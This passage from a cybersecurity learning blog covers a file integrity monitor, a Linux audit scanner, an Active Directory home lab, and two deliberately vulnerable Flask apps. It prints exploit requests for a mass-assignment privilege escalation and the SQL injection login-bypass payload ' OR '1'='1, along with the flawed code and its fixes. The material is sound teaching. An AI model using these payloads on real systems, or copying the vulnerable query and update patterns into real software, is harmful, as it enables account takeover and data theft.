Extension filter	`--ext`	Only scan specific file extensions
Export report	`--export`	Save results to a timestamped `.txt` file

Practical Use Cases

Web server protection — Set up a baseline of /var/www and run a watch scan. Any webshell dropped by an attacker will appear instantly as a new file.

Config file auditing — Monitor /etc to catch unauthorized changes to SSH configs, sudoers, cron jobs, and PAM modules.

Software supply chain checks — Before deploying a software update, scan the package against a known-good baseline to verify no files were tampered with in transit.

Post-incident forensics — Run a scan against a pre-breach baseline to identify exactly which files were touched during an intrusion.

CTF challenges — In competition environments, FIM is a quick way to track what a binary or script is modifying on the filesystem.

Example Scan Output

Limitations and Honest Caveats

FIM is a practical tool, but it's not a replacement for enterprise solutions in high-stakes production environments. File integrity monitoring is most powerful when combined with logging, intrusion detection systems, and strict access controls.

The baseline.json file is only as trustworthy as the system it was created on. If an attacker already has access when you run --init, or if they subsequently modify both the target files and the baseline, FIM cannot detect the deception. In hardened environments, the baseline should be stored on read-only media, a separate host, or protected with access controls.

FIM also doesn't monitor in real time at the kernel level the way auditd or inotify-based tools do — it's snapshot-based. The --watch mode approximates real-time monitoring through polling, which introduces a detection window equal to the scan interval.

Building a file integrity monitor teaches several important security concepts:

Cryptographic hashing for tamper detection
Filesystem traversal and metadata collection
Security baselining techniques
Incident detection logic
CLI security tooling in Python

Conclusion

FIM demonstrates that powerful security tooling doesn't require heavyweight frameworks or complex configuration. At its heart, it's a practical application of one idea: cryptographic hashes make file tampering detectable. By combining that principle with a clean terminal UI, multi-algorithm support, and a range of monitoring modes, FIM becomes a genuinely useful tool for developers, sysadmins, and security practitioners who want visibility into their filesystems without the overhead of an enterprise solution. Security often starts with visibility.
If you don't know when your files change, you don't know when your system is compromised.

The full source code is a single self-contained Python file. Drop it on any system with Python 3.8+ and you're ready to go.

Day 18 — Building a Linux Vulnerability Analyzer

Hafiz Shamnad — Fri, 06 Mar 2026 05:35:21 +0000

In most cybersecurity learning paths, people focus on tools first. But sometimes the better exercise is building your own. Today I spent time creating a Linux vulnerability analyzer, a command line tool designed to audit a system and surface common security weaknesses.

The idea is simple: treat the Linux machine like a fortress and walk through it gate by gate. Which services are listening? Which configurations are unsafe? Which permissions look suspicious? A small script can turn those questions into a structured security check.

This tool performs a set of system audits that are commonly part of basic security assessments. It collects system information, inspects open ports, reviews SSH configuration, checks firewall status, enumerates user accounts, and looks for risky file permissions such as world writable files or SUID binaries. It also inspects running services and identifies available package updates that might contain security patches.

What made this project interesting was designing it as a modular scanner. Each security check is treated as its own module, so scans can run individually or as part of a full system audit. This makes it easier to extend later with additional checks such as CVE lookups, Docker scanning, or kernel vulnerability analysis.

Another focus was usability. Security tools are most useful when their output is readable, so the scanner produces a structured CLI report with clear sections and warning indicators. Instead of raw command outputs, the results are organized into human readable summaries that highlight potential issues quickly.

At the end of the scan, the tool generates a concise security overview and can optionally export the findings as a JSON report for further analysis or automation workflows.

Projects like this help reinforce how many security insights come directly from the operating system itself. Linux already exposes a lot of valuable signals through logs, configuration files, and system commands. The challenge is collecting and presenting them in a meaningful way.

Building small security utilities like this is a great way to understand how real auditing tools work under the hood.

Day by day, the goal is simple: learn by building.

Detailed Code Explanation

vulnscan is a Python-based command-line security auditing tool designed to analyze Linux desktops and servers for common security issues.

It performs several checks including:

System information collection
Open port discovery
SSH configuration audit
Firewall status verification
User account analysis
World-writable file detection
SUID binary detection
Failed login detection
Running service enumeration
Package update checks

The results are displayed in a structured CLI interface and can also be exported as JSON reports.

1. Shebang and Script Header

#!/usr/bin/env python3

This line tells Linux to run the script using Python 3 from the system environment.

The header comment explains the tool:

vulnscan - Linux Vulnerability Analyzer
A comprehensive security auditing tool with rich CLI output

This indicates the tool is designed to produce clean terminal output using the Rich library.

2. Importing Required Modules

import subprocess
import argparse
import sys
import os
import json
import datetime
from pathlib import Path

Each module serves a purpose:

Module	Purpose
subprocess	Run Linux shell commands
argparse	Handle CLI arguments
os	File permission checks
json	Export scan results
datetime	Timestamp scans
pathlib	File path handling

The scanner relies heavily on Linux commands executed via subprocess.

3. Rich CLI Output Support

The tool attempts to import the Rich library.

from rich.console import Console
from rich.table import Table
from rich.panel import Panel

Rich allows:

colored output
tables
progress spinners
formatted panels

If Rich is not installed, the tool falls back to plain text mode.

Example fallback logic:

except ImportError:
    RICH = False

A simple console class replaces Rich output.

This ensures the tool works even on minimal systems.

4. Command Execution Helper

def run(cmd: str) -> str:

This function runs shell commands safely.

Example:

subprocess.run(cmd, shell=True, capture_output=True)

Features:

Captures stdout
Prevents crashes
Timeout protection
Always returns output

Example usage:

run("uname -r")

Output:

6.5.0-21-generic

5. Status Tag Generator

def _tag(ok: bool) -> str:

Creates status labels for results.

Examples:

✔ OK
✗ WARN

Used when displaying scan results.

6. Section Header Printer

def _section(title: str)

Creates visual separation between scan sections.

Example output:

────────────────── SSH Security Audit ──────────────────

7. System Information Scan

def system_info()

Collects basic system information.

Commands used:

Command	Purpose
grep PRETTY_NAME /etc/os-release	OS name
uname -r	kernel version
uname -m	architecture
hostname	system hostname
uptime -p	system uptime
free -h	RAM
df -h	disk usage
who	logged in users

Example output:

OS: Ubuntu 22.04
Kernel: 6.2
RAM: 8GB
Disk: 40% used

This helps identify outdated or unsupported systems.

8. Open Port Detection

def open_ports()

Uses:

ss -tuln

This lists:

TCP ports
UDP ports
listening services

Example output:

tcp LISTEN 0.0.0.0:22
tcp LISTEN 0.0.0.0:80

Open ports can expose services to attackers.

9. SSH Security Audit

def ssh_audit()

Analyzes /etc/ssh/sshd_config.

Checks include:

Setting	Risk
PermitRootLogin	attackers login as root
PasswordAuthentication	brute force risk
PermitEmptyPasswords	empty password accounts
Protocol	insecure SSH v1
MaxAuthTries	brute force attempts
LoginGraceTime	session hijacking window

Example result:

PermitRootLogin = yes   WARN
PasswordAuthentication = yes   WARN
Protocol = 2   OK

This helps detect weak SSH configurations.

10. Firewall Status Check

def firewall_check()

Checks three firewall systems:

UFW

ufw status

iptables

iptables -L INPUT

firewalld

systemctl is-active firewalld

Example result:

UFW: inactive
iptables rules: 3
firewalld: inactive

A disabled firewall is a major security risk.

11. User Account Audit

def user_audit()

Reads:

/etc/passwd

Extracts:

username
UID
home directory
shell

Important checks:

interactive shells
sudo users
root accounts

Example:

user1 uid=1000 shell=/bin/bash
root uid=0 sudo

Privilege escalation often targets misconfigured user accounts.

12. World Writable File Scan

def world_writable()

Runs:

find / -perm -0002

This identifies files any user can modify.

Example:

/tmp/testfile

These files can be abused for privilege escalation.

13. SUID Binary Detection

def suid_files()

Command:

find / -perm -4000

SUID files execute with root privileges.

Example:

/usr/bin/passwd
/usr/bin/sudo

Attackers often exploit vulnerable SUID binaries.

14. Failed Login Detection

def failed_logins()

Checks:

lastb

If unavailable:

journalctl sshd

This identifies brute force attempts.

Example:

Failed password for root from 192.168.1.10

15. Running Services

def running_services()

Uses:

systemctl list-units --type=service

Example output:

ssh.service
nginx.service
mysql.service

Attack surface increases with more running services.

16. Package Update Check

def package_updates()

Detects package manager automatically:

Manager	Command
APT	apt list --upgradable
DNF/YUM	dnf check-update

Example result:

Upgradable packages: 12
Security updates: 3

Outdated packages often contain known CVEs.

17. Display Functions

Several display functions format scan results.

Examples:

display_ports()
display_users()
display_services()

When Rich is enabled, results appear as tables.

Example:

Proto   State     Address
tcp     LISTEN    0.0.0.0:22

18. Scan Summary

def display_summary()

Counts warnings such as:

insecure SSH settings
world writable files

Example:

Scan completed: 2026-03-06 10:20
Warnings found: 4

19. JSON Export

def export_json()

Allows exporting scan results:

vulnscan --export report.json

Example output file:

{
 "ssh": {...},
 "ports": {...}
}

Useful for:

automation
SIEM ingestion
reporting

20. CLI Argument Parsing

Handled using argparse.

Example commands:

Run full scan

vulnscan

Run specific modules

vulnscan -m ssh firewall ports

Export report

vulnscan --export report.json

List modules

vulnscan --list

Quiet mode

vulnscan -q

21. Module System

Modules are defined in a dictionary:

MODULES = {
    "system": system_info,
    "ports": open_ports
}

This makes the scanner modular and extensible.

Adding new checks becomes easy.

22. Main Function

The main function orchestrates everything:

Parse CLI arguments
Select modules
Run scans
Display results
Export report

Flow:

Parse arguments
↓
Run selected modules
↓
Display results
↓
Export report (optional)

Final Outcome

vulnscan provides a quick security overview of a Linux system.

Capabilities include:

System auditing
SSH security analysis
Firewall detection
Port discovery
Permission checks
User privilege analysis
Service enumeration
Package update checks

Possible Future Improvements

To make the tool even more powerful:

CVE lookup via NVD API
Docker container scanning
Cron job auditing
Kernel vulnerability detection
Risk scoring engine
HTML security reports
CIS benchmark checks

Summary

Tools that analyze Linux security often look similar on the surface, but they are built for very different moments in a security workflow.

My Linux vulnerability analyzer focuses on security auditing and system hygiene. It checks things like SSH configuration, firewall status, open ports, user privileges, file permissions, and available package updates. The goal is to give administrators or learners a clear overview of how securely a system is configured and highlight areas that need improvement.

In contrast, LinPEAS is designed for a completely different scenario. It is used after an attacker or penetration tester already has access to a machine and wants to discover privilege escalation paths. Instead of auditing configuration health, it searches aggressively for ways to gain higher privileges such as sudo misconfigurations, writable services, exposed credentials, or kernel exploits.

So while both tools analyze a Linux system, their goals differ:

A vulnerability analyzer helps defenders audit and harden systems.
LinPEAS helps attackers or penetration testers find ways to escalate privileges.

Understanding this distinction is important because security is not just about breaking systems, but also about building and maintaining them securely.

Every Hacker Should Build This Active Directory Lab

Hafiz Shamnad — Thu, 05 Mar 2026 12:34:47 +0000

Hey folks, if you're dipping your toes into cybersecurity—whether you're a red teamer plotting simulated breaches, a blue teamer hardening defenses, or just a curious sysadmin wannabe—you've probably heard the hype around Active Directory (AD). It's the beating heart of most enterprise networks, handling authentication, authorization, and a whole lot of "oops, why did that user just get god-mode access?" moments.

But here's the kicker: reading about AD in a book or watching a YouTube tutorial is like learning to swim by watching Olympic highlights. It's dry, it's theoretical, and it doesn't stick. That's why, a few months back, I rolled up my sleeves and built my own AD lab right on my beat-up laptop using nothing but VirtualBox. No fancy cloud credits, no corporate budget—just me, some free ISOs, and a caffeine-fueled weekend.

The payoff? I finally got it. I saw a Windows client pinging the domain controller, slurping up an IP via DHCP, and joining the domain like it was the easiest thing in the world. It felt like casting a spell that actually worked. And when I "accidentally" locked out a test user? Fixing it taught me more about Kerberos tickets than any certification exam ever could.

If you're serious about hacking (ethically, of course), this lab is non-negotiable. It's your sandbox for everything from lateral movement exploits to GPO misconfigurations. In this guide, I'll walk you through every gritty detail—step by step—so you can replicate it without pulling your hair out. Let's turn your laptop into a mini-enterprise and break some (virtual) stuff.

Why Bother with a Home AD Lab?

Before we dive in, quick reality check: AD powers 95% of Fortune 500 companies. If you're aiming for pentesting certs like OSCP or eJPT, or just want to level up your SOC skills, hands-on AD experience is gold. In my lab, I tinkered with domain controllers, user enumeration, and even simulated a Pass-the-Hash attack (spoiler: it worked terrifyingly well).

This setup is lightweight—runs on a mid-range laptop with 8GB RAM—and costs zilch if you snag eval versions. Pro tip: Treat it like a hacker's playground. Break it, rebuild it, repeat.

Lab Blueprint: What We're Building

Two VMs, one internal network, endless chaos potential:

1. Domain Controller (DC) – The Boss Machine

OS: Windows Server 2019 (Desktop Experience for that GUI goodness)
Roles: AD DS (Domain Services), DNS, DHCP, Routing & Remote Access (RRAS) for NAT
Specs: 2 vCPUs, 2GB RAM, 60GB disk
IP Setup: Internal: 172.16.0.1/24 (static), NAT for outbound internet

2. Client Workstation – The Gullible Minion

OS: Windows 10 Pro
Role: Joins the domain, tests auth flows
Specs: 2 vCPUs, 2GB RAM, 40GB disk
IP Setup: Dynamic via DHCP (172.16.0.x range)

Networking twist: Internal network for VM-to-VM chatter, NAT for the DC to phone home for updates. No host involvement—keeps it isolated and hack-proof.

Tools you'll need:

VirtualBox 7.x (free from oracle.com/virtualbox)
PowerShell (built into Windows, but we'll script like pros)
ISOs: Windows Server 2019 and Win10 eval from Microsoft's site (search "evaluation center")

Step 1: Gear Up VirtualBox

Fire up your browser and grab VirtualBox + the Extension Pack. The pack unlocks USB passthrough and better USB2/3 support—handy if you ever want to "plug in" a virtual thumb drive for some USB-based fun.

Install like any app: Run the EXE, accept defaults, reboot if it nags. Launch it, and boom—you're in the Oracle VM VirtualBox Manager. If you're on a Mac or Linux host, same drill; it plays nice cross-platform.

Pitfall alert: If your antivirus freaks out (looking at you, Windows Defender), add VirtualBox to exclusions. False positives are the worst buzzkill.

Step 2: Snag Those Sweet ISOs

Head to Microsoft's Evaluation Center:

Windows Server 2019 – Pick the ISO, ~5GB download.
Windows 10 – Enterprise edition for domain join perks.

Save 'em to a folder like C:\ISOs. These evals last 180 days—plenty of time to wreak havoc. (Ethical note: Don't deploy in prod; that's a lawsuit waiting to happen.)

Step 3: Spin Up the DC VM

In VirtualBox:

New > Name it "DC01", Type: Microsoft Windows, Version: Windows 2019 (64-bit).
Memory: 2048MB (slider it up if you've got 16GB+ host RAM).
Hard Disk: Create a virtual hard disk now, VDI format, dynamically allocated, 60GB.
Processors: 2 CPUs under System tab.

Hit Start later; we'll tweak networking first. This config mimics a beefy server without hogging your laptop's guts.

Step 4: Wire the Network Like a Pro

VM Settings > Network:

Adapter 1: Enable, Attached to: NAT (for internet yumminess—updates, pings to google.com).
Adapter 2: Enable, Attached to: Internal Network. Name it "LABNET" (customize this; it'll be your isolated bubble).

Under General > Advanced:

Shared Clipboard: Bidirectional
Drag'n'Drop: Bidirectional

Why two adapters? NAT keeps the DC worldly, Internal keeps lab traffic private. Test it post-install: From the DC, ping 8.8.8.8 should work; client-to-DC pings will too once joined.

Common gotcha: If VMs can't see each other, double-check the Internal Network name matches on both.

Step 5: Breathe Life into the Server

Settings > Storage > Controller: IDE > Empty > Optical Drive icon > Choose the Server 2019 ISO.

Start the VM. Boot menu: Hit Enter on the ISO. Install Windows Server 2019 Standard (Desktop Experience)—the GUI makes life easier for noobs.

Partition: Custom, use the full 60GB. Setup wizard: Local admin password something memorable like P@ssw0rd123!. It'll chug for 10-15 mins. Grab a coffee.

Step 6: First Login Tango

VM boots to login screen? No shortcuts here—VirtualBox doesn't auto-map Ctrl+Alt+Del. Go Input > Keyboard > Insert Ctrl+Alt+Del.

Username: Administrator, password from setup. Desktop loads—welcome to server land. Quick win: Right-click Start > Windows PowerShell (Admin) to feel powerful.

Step 7: Tame the Network Adapters

Search "View Network Connections". You'll see "Ethernet" x2—one with a 169.254.x.x APIPA (no DHCP yet), the other maybe similar.

Right-click each > Status > Details. The NAT one might have a 10.x.x.x from VirtualBox's router.

Rename 'em: Alt+Enter on each > Properties > Alt+Enter on "Local Area Connection" > Description field: "Internet Adapter" and "Internal Adapter".

Why bother? Scripts and docs get confusing with generic names. Trust me, future-you thanks present-you.

Step 8: Lock Down That Static IP

Right-click Internal Adapter > Properties > Internet Protocol Version 4 (TCP/IPv4) > Properties.

IP: 172.16.0.1
Subnet: 255.255.255.0
Default Gateway: Leave blank (no upstream router yet)
DNS: 127.0.0.1 (self-hosted, baby!)

Apply. ipconfig in CMD should show it. Ping yourself: ping 172.16.0.1—loopback magic.

Pro tip: 172.16.0.0/24 is RFC 1918 private—safe for labs, won't clash with your home WiFi.

Step 9: Summon Active Directory

Server Manager (pops on login) > Dashboard > Quick Start > Add roles and features.

Wizard: Role-based > This server > Next > Check Active Directory Domain Services > Add features when prompted (includes management tools—yay GPOs!).

Install. It'll download bits if NAT's working. ~5 mins.

Step 10: Crown the King—Promote to DC

Post-install, yellow flag in Server Manager > Click > Promote this server to a domain controller.

Deployment: Add a new forest
Root domain: myfirstdomain.com (keep it simple; .local works too, but .com feels enterprise-y)
DSRM password: Something strong like R3c0v3ryP@ss!
DNS: Let it install
NetBIOS: MYFIRSTDOMAIN (auto-fills)

Paths: Default. Review, install. Reboot incoming—save your work!

Post-reboot: Login as MYFIRSTDOMAIN\Administrator. DNS is now AD-integrated—test nslookup myfirstdomain.com (should resolve to 172.16.0.1).

Step 11: Populate the Kingdom—Users & OUs

Server Manager > Tools > Active Directory Users and Computers (dsa.msc).

Right-click domain > New > Organizational Unit: "Users", "IT Dept", "Sales" (OUs group users for GPOs later).

New > User: jdoe, full name John Doe, password P@ssw0rd123, uncheck "User must change". Boom—domain citizen.

Scale it: Right-click OU > New > User, rinse. Or... PowerShell time (next step).

Step 12: Bridge to the Outside World—RRAS

Server Manager > Add roles > Remote Access > DirectAccess and VPN (RAS), Routing.

Install. Post-reboot: Server Manager > Tools > Routing and Remote Access.

Right-click server name > Configure > Custom > LAN routing only > IPv4 > NAT.

Right-click NAT > New Interface > Internal Adapter > Public (outbound) > Private (inbound from clients).

Now clients can surf via DC proxy. Test later from client: ping google.com.

Pitfall: If NAT fails, ensure Adapter 1 (NAT) is up and RRAS service running (services.msc).

Step 13: Hand Out IPs Like Candy—DHCP

Server Manager > Add roles > DHCP Server.

Post-install: Authorize (notification flag > Complete DHCP config > domain admin creds).

Tools > DHCP > Right-click IPv4 > New Scope:

Name: "Lab Scope"
IP: 172.16.0.100 - 172.16.0.200
Subnet: 255.255.255.0
Exclude: None yet
Lease: Default 8 days
Router: 172.16.0.1
DNS: 172.16.0.1
WINS: Skip
Activate: Yes

Right-click scope > Scope Options > 006 DNS Servers: 172.16.0.1. Done. Clients will auto-grab.

Step 14: PowerShell Wizardry—Bulk User Creation

Labs need fodder. Open PowerShell as admin on DC:

Set-ExecutionPolicy Unrestricted -Scope CurrentUser

Create users.txt via Notepad:

jdoe,John Doe,IT
asmith,Alice Smith,Sales
bwilson,Bob Wilson,HR

Script it:

$users = Get-Content C:\users.txt
foreach ($u in $users) {
    $parts = $u.Split(',')
    $sam = $parts[0]
    $name = $parts[1]
    $ou = $parts[2]
    New-ADUser -SamAccountName $sam -UserPrincipalName "$sam@myfirstdomain.com" -Name $name -GivenName ($name.Split(' ')[0]) -Surname ($name.Split(' ')[1]) -Path "OU=$ou,DC=myfirstdomain,DC=com" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true
}

Run: ./bulkusers.ps1. Instant org chart. Tweak for passwords, emails—go wild.

Step 15: Craft the Client Minion

New VM: "CLIENT01", Windows 10 (64-bit), 2048MB RAM, 40GB disk.

Attach Win10 ISO, install Pro edition. During OOBE: "I don't have internet" > Local account: localuser / LocalP@ss!.

Post-install: Update via NAT if you want, but skip for speed.

Step 16: Ping Pong—Test the Pipes

On client: CMD > ipconfig /release then /renew. Should snag 172.16.0.x from DHCP.

ping 172.16.0.1 (DC)—success? ping 8.8.8.8 (internet via NAT)—double win! nslookup myfirstdomain.com resolves?

If DHCP ghosts you: Ensure scope activated, client on Internal Network "LABNET". Firewall? netsh advfirewall set allprofiles state off temporarily.

Step 17: The Sacred Join Ritual

Client: Settings > System > About > Rename this PC > Change > Domain: myfirstdomain.com.

Reboot prompt? Creds: MYFIRSTDOMAIN\Administrator / password. Welcome screen: "Welcome to myfirstdomain.com".

Pitfall: If it gripes "network path not found", DNS issue—ensure client DNS points to 172.16.0.1 (ipconfig /all).

Step 18: Domain Life—Login & Play

Reboot, login: Other user > MYFIRSTDOMAIN\jdoe / P@ssw0rd123.

CMD: whoami shows domain\user. nltest /dsgetdc:myfirstdomain.com confirms DC contact.

Now explore: From client, access \DC01\C$ (admin share)—file sharing unlocked.

The Aha Moments That Hooked Me

This lab demystified AD's guts: LDAP queries, NTLM vs. Kerberos, the glory of delegated permissions. I learned DHCP reservations for static-ish clients, DNS scavenging to avoid stale records, and why OUs are GPO gateways.

Best lesson? Failure is feature. Misconfigure DHCP? Clients go dark—trace it with Wireshark (install on host, capture on Internal). Locked out? Boot to DSRM, reset via net user.

Day 17 — I Built a Vulnerable API to Demonstrate a Mass Assignment Attack

Hafiz Shamnad — Wed, 04 Mar 2026 05:20:00 +0000

Some vulnerabilities don’t need sophisticated exploits.

Sometimes all it takes is a backend that trusts user input a little too much.

Today I built a small Flask API to demonstrate a subtle but dangerous issue called Mass Assignment.

The Idea

Modern frameworks make development fast by automatically mapping user input into database objects. For example, when updating a user profile, developers often accept JSON data and apply it directly to the user record. Something like this:

user.update(request.json)

Convenient.

But also dangerous.

If the application blindly accepts every field sent by the client, an attacker can modify hidden or sensitive fields that were never meant to be user-controlled. This is where Mass Assignment vulnerabilities appear.

Here's a simple diagram illustrating how a mass assignment attack flows—from the client's malicious POST request straight to unintended database updates:

The Lab I Built

To demonstrate the issue, I created a small Flask API with:

User login
Profile viewing
Profile update endpoint
Admin panel

The database stores user information including an internal field:

is_admin

Normal users should never be able to modify this. But in the vulnerable version of the API, the update endpoint trusts the client completely.

I used SQLite for simplicity, but the principles apply to any ORM or direct query setup. The app runs on localhost:5000, and I tested it with tools like Postman and curl to simulate requests.

The Vulnerable Endpoint

The problem is here:

fields = ["username", "email", "password", "is_admin"]

for field in fields:
    if field in data:
        cur.execute(f"UPDATE users SET {field}=? WHERE id=?", (data[field], session["user_id"]))

The server accepts whatever fields appear in the request body. So if a user sends:

{
  "email": "new@email.com",
  "is_admin": 1
}

The application happily updates the admin flag. No authentication bypass. No memory corruption. Just a backend trusting the client.

Exploiting the Vulnerability

First I logged in as a normal user.

POST /login
{
  "username": "testuser",
  "password": "password123"
}

The API returned a session cookie.

Next, I attempted to update my profile but included a hidden parameter.

POST /update_profile
{
  "email": "new@email.com",
  "is_admin": 1
}

The server processed it without validation. Here's a visual walkthrough of a similar exploitation—showing the normal payload vs. the sneaky one that escalates privileges:

Finally, I accessed the admin panel.

GET /admin

And the system responded:

Welcome Admin. System secrets unlocked.

Privilege escalation achieved. In my tests, this took under 30 seconds from login to admin access.

Why This Happens

Mass Assignment vulnerabilities occur when:

Frameworks automatically bind user input to objects
Sensitive fields exist in the model
Developers fail to restrict which fields can be updated

It is extremely common in:

REST APIs
ORMs (like SQLAlchemy in Python or ActiveRecord in Rails)
Auto-binding frameworks (e.g., Spring in Java)
JSON request handling

Real-world impacts? Think unauthorized role changes, over-claiming discounts in e-commerce, or even injecting payment details. OWASP lists this under A03:2021 – Injection (broader category), but it's sneaky because it feels like "just an update."

Fixing the Vulnerability

The correct solution is field whitelisting. Instead of accepting every parameter, the server must explicitly define which fields users are allowed to modify.

Example secure approach:

allowed_fields = ["username", "email", "password"]

for field in allowed_fields:
    if field in data:
        cur.execute(
            f"UPDATE users SET {field}=? WHERE id=?",
            (data[field], session["user_id"])
        )

Now the system ignores any attempt to modify is_admin. Even if an attacker sends it in the request, the server will discard it.

For ORMs, use annotations like @JsonIgnore in Jackson or attr_readonly in SQLAlchemy to enforce this at the model level.

Key Lesson

This vulnerability isn't about complex hacking techniques. It's about trust boundaries. User input should never dictate how internal system fields behave. The backend must always decide what can and cannot be modified.

Results

Closing Thoughts

This small project reminded me of an important principle: Security flaws often hide in convenience. A feature designed to make development easier can quietly introduce risk if input validation is overlooked.

Today’s experiment showed how a single unvalidated parameter can transform a regular user into an administrator. And sometimes, the most dangerous bugs are the ones that look perfectly normal.

If you're building APIs, run a quick audit: Scan your update endpoints for whitelisting. Tools like OWASP ZAP or even a simple Burp Suite proxy can spot these fast.

Day 16 — I Bypassed My Own Flask Login (And Fixed It Properly)

Hafiz Shamnad — Tue, 03 Mar 2026 09:37:02 +0000

Today wasn’t about building a new feature. It was about breaking one.

I built a small Flask authentication system with:

A login page
Session-based authentication
A protected dashboard
SQLite as the backend
A default admin user

It looked clean. It worked perfectly.

And it was vulnerable by design.

For the frontend UI, I used AI to generate the initial design and layout structure, then integrated it with the backend logic. It helped me move faster and focus more on the security aspect of the project.

This was a controlled demonstration of one of the most important web vulnerabilities to understand: SQL Injection (SQLi).

The Setup

The application used:

Flask for routing and sessions
SQLite for data storage
A simple users table with username and password fields

When a user submitted the login form, the backend constructed an SQL query dynamically using the values provided in the form.

The goal was simple: verify that the username and password exist in the database.

The problem was not in Flask.
Not in SQLite.
Not in sessions.

The problem was in how the query was constructed.

Where It Went Wrong

The login logic embedded user input directly into the SQL statement.

That means whatever the user typed into the form became part of the SQL query itself.

This is where SQL injection lives.

When input is inserted directly into an SQL string:

The database cannot distinguish between query structure and user data.
Malicious input can alter the logic of the query.
Authentication checks can be bypassed.

This is not a theoretical issue.
It is a structural flaw.

The Exploit

Instead of entering the correct password, I entered:

' OR '1'='1

This changed the meaning of the SQL query.

Instead of asking:

Does this username match this password?

It effectively became:

Does this username match OR is 1 equal to 1?

Since 1=1 is always true, the WHERE condition evaluated as true.

The database returned the admin user.

The application set the session.

I was redirected to the dashboard.

Authentication bypassed.

No brute force.
No password cracking.
No guessing.

Just manipulating query logic.

Why This Is Dangerous

In this demo, the impact was limited to login bypass.

In a real-world application, SQL injection can allow:

Dumping entire user databases
Extracting password hashes
Modifying records
Deleting tables
Escalating privileges
Remote code execution in some database configurations

Authentication vulnerabilities are particularly critical because they break the trust boundary of the system.

Once an attacker bypasses authentication, everything behind it is exposed.

Root Cause Analysis

The root cause was simple:

User input was concatenated into the SQL query string.

When SQL queries are built using string formatting, the database parser processes user input as executable SQL syntax.

This violates a core secure development principle:

Never mix code and user-controlled data.

The Fix

The proper solution is to use parameterized queries (prepared statements).

With parameterized queries:

The SQL structure is defined first.
User input is passed separately.
The database treats input strictly as data.
Injection payloads lose their power.

After implementing parameterized queries:

The same malicious payload was treated as a plain string.
It did not alter query logic.
Authentication bypass failed.
The system behaved correctly.

No complex security framework was required.

Just disciplined query handling.

Lessons Learned

This exercise reinforced several key lessons:

Small shortcuts create major vulnerabilities.
Authentication logic must be treated as high-risk code.
Secure coding is about patterns, not patches.
SQL injection is still relevant in 2026.
Parameterized queries should be non-negotiable.

This was not about exploiting a system.

It was about understanding how easily insecure patterns creep into even simple applications.

Flask Authentication App – Code Explanation

This application implements a simple session-based login system using Flask and SQLite. It includes:

Database initialization
Login handling
Session-based dashboard access
Logout functionality

Let’s break it down step by step.

1. Application Setup

from flask import Flask, render_template, request, redirect, url_for, session
import sqlite3

app = Flask(__name__)
app.secret_key = "sldc-secret-key"

Flask initializes the web application.
render_template renders HTML pages.
request handles form input.
redirect and url_for manage navigation.
session stores authenticated user data.
sqlite3 connects to the SQLite database.
secret_key is required for securely signing session cookies.

2. Database Initialization

def init_db():
    conn = sqlite3.connect("users.db")
    cursor = conn.cursor()
    cursor.execute("""
    CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT,
        password TEXT
    )
    """)
    cursor.execute("SELECT COUNT(*) FROM users")
    if cursor.fetchone()[0] == 0:
        cursor.execute("INSERT INTO users (username, password) VALUES ('admin', 'admin123')")
    conn.commit()
    conn.close()

init_db()

What this does:

Creates a database file users.db if it does not exist.
Creates a users table with id, username, and password.
Checks if the table is empty.
Inserts a default admin user only once.

This ensures the application is usable immediately after startup.

3. Login Route (`/`)

@app.route("/", methods=["GET", "POST"])
def login():
    message = ""
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]

        conn = sqlite3.connect("users.db")
        cursor = conn.cursor()

        query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
        cursor.execute(query)
        result = cursor.fetchone()

        conn.close()

        if result:
            session["username"] = result[1]
            return redirect(url_for("dashboard"))
        else:
            message = "Invalid credentials."

    return render_template("login.html", message=message)

How it works:

When accessed via GET, it simply renders the login page.
When the login form is submitted (POST):

The username and password are retrieved from the form.
A database query checks if a matching record exists.
If a match is found:
- The username is stored in the session.
- The user is redirected to /dashboard.
If not:
- An error message is displayed.

The session acts as a lightweight authentication token.

4. Dashboard Route (`/dashboard`)

@app.route("/dashboard")
def dashboard():
    if "username" not in session:
        return redirect(url_for("login"))
    return render_template("dashboard.html", username=session["username"])

What this does:

Checks if "username" exists in the session.
If not, the user is redirected to the login page.
If yes, the dashboard page is rendered and the username is displayed.

This enforces basic access control.

5. Logout Route (`/logout`)

@app.route("/logout")
def logout():
    session.clear()
    return redirect(url_for("login"))

What this does:

Clears all session data.
Redirects the user back to login.
Effectively logs the user out.

6. Running the Application

if __name__ == "__main__":
    app.run(debug=True)

Starts the Flask development server.
debug=True enables automatic reload and detailed error messages during development.

Complete Authentication Flow

User visits /
Submits login form
Backend validates credentials against database
If valid, session is created
User gains access to /dashboard
Logout clears session

Important Architectural Observations

Authentication is session-based.
SQLite is used as a lightweight relational database.
Access control depends on session presence.
Database interaction is done synchronously per request.
The system is suitable for demonstration or learning environments.

Result

Why I Built This

As part of my ongoing cybersecurity learning journey, I want to:

Build vulnerable systems intentionally
Exploit them in a controlled environment
Fix them properly
Understand the “why,” not just the “how”

Because real security knowledge comes from breaking and repairing systems yourself.

Day 16 was not about writing more code. It was about writing safer code. And that difference matters.

Day 15 — I Built PassAudit : A Real-Time Password Security Analyzer (and it revealed how predictable we are)

Hafiz Shamnad — Mon, 02 Mar 2026 11:34:58 +0000

A GUI tool that scores your password instantly… and brutally demonstrates why most passwords would not survive 5 minutes against a GPU.

Why I Made This

During CTFs and security labs, I kept noticing something funny.

We spend hours learning:

SQL Injection
Privilege Escalation
Memory corruption
Network attacks

But in real breaches?

Attackers usually log in.

Not hack in.

They don’t defeat encryption.
They defeat human behavior.

And the weakest point is always the same thing:

passwords.

So instead of another terminal script, I wanted something educational.
A tool that reacts while you type and visually shows:

how a computer actually sees your password.

That became PassAudit.

The Problem With Typical Password Checkers

Most websites use rules like:

8 characters minimum
1 uppercase
1 number
1 symbol

So users create:

Hafiz@123

Technically complex.

Practically terrible.

Because attackers don’t guess passwords the way humans imagine.
They don’t “try combinations”.

They calculate probability and search space.

A password can look complicated and still be mathematically tiny.

I wanted a tool that proves that instantly.

What PassAudit Actually Does

PassAudit analyzes your password on every keystroke.

No submit button.

As you type, it updates:

• entropy score
• crack time estimate
• character diversity
• pattern detection
• dictionary detection
• security verdict

The strength bar moves in real time.

You can literally watch your password become safer or collapse into red.

The Core Idea: Entropy

The real measure of password strength is entropy.

Entropy represents unpredictability.

Formula:

entropy = length × log₂(character_set_size)

Character set size depends on what you use:

